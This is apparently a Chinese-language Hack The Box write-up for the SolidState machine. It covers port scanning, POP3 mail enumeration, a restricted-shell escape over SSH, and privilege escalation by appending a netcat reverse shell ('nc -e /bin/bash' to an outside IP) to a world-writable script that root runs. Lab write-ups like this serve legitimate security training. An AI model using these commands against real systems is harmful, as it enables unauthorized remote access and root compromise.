zl程序教程

您现在的位置是:首页 >  系统

当前栏目

【Hack The Box】linux练习-- SolidState

Linux -- The 练习 Box Hack
2023-09-27 14:26:30 时间

HTB 学习笔记

【Hack The Box】linux练习-- SolidState


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月9日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

22/tcp  open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 770084f578b9c7d354cf712e0d526d8b (RSA)
|   256 78b83af660190691f553921d3f48ed53 (ECDSA)
|_  256 e445e9ed074d7369435a12709dc4af76 (ED25519)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp  open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open  pop3?
119/tcp open  nntp?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

web枚举

只有这一个邮箱有点价值

webadmin@solid-state-security.com

pop3枚举

在这里插入图片描述发现有james
在这里插入图片描述我做过,在我的笔记中找到
在这里插入图片描述重置mindy密码

pop3

telnet [ip] 110
list
retr 1
retr 2
在这里插入图片描述再获得两个重要信息
James
mailadmin

在这里插入图片描述还有一个ssh账号密码

rbash绕过

在这里插入图片描述发现是rbash在这里插入图片描述可以-t 执行命令
在这里插入图片描述这两种都可以,我都试了

ssh mindy@10.129.12.180 -t "bash --noprofile"

python -c 'import pty;pty.spawn("/bin/bash");'

在这里插入图片描述在我使用linpeas.sh枚举的时间里,我也同时找了一下可读写的文件

find / -perm 777 -type f 2>/dev/null

在这里插入图片描述去看了一下,是root运行的,我们直接写一个反弹shell 即可

然后等着就行

echo "os.system('/bin/nc -e /bin/bash 10.10.15.82 8001')" >> tmp.py

在这里插入图片描述